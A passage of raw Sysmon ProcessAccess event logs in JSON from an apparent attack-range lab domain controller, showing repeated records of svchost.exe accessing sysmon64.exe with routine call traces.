C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 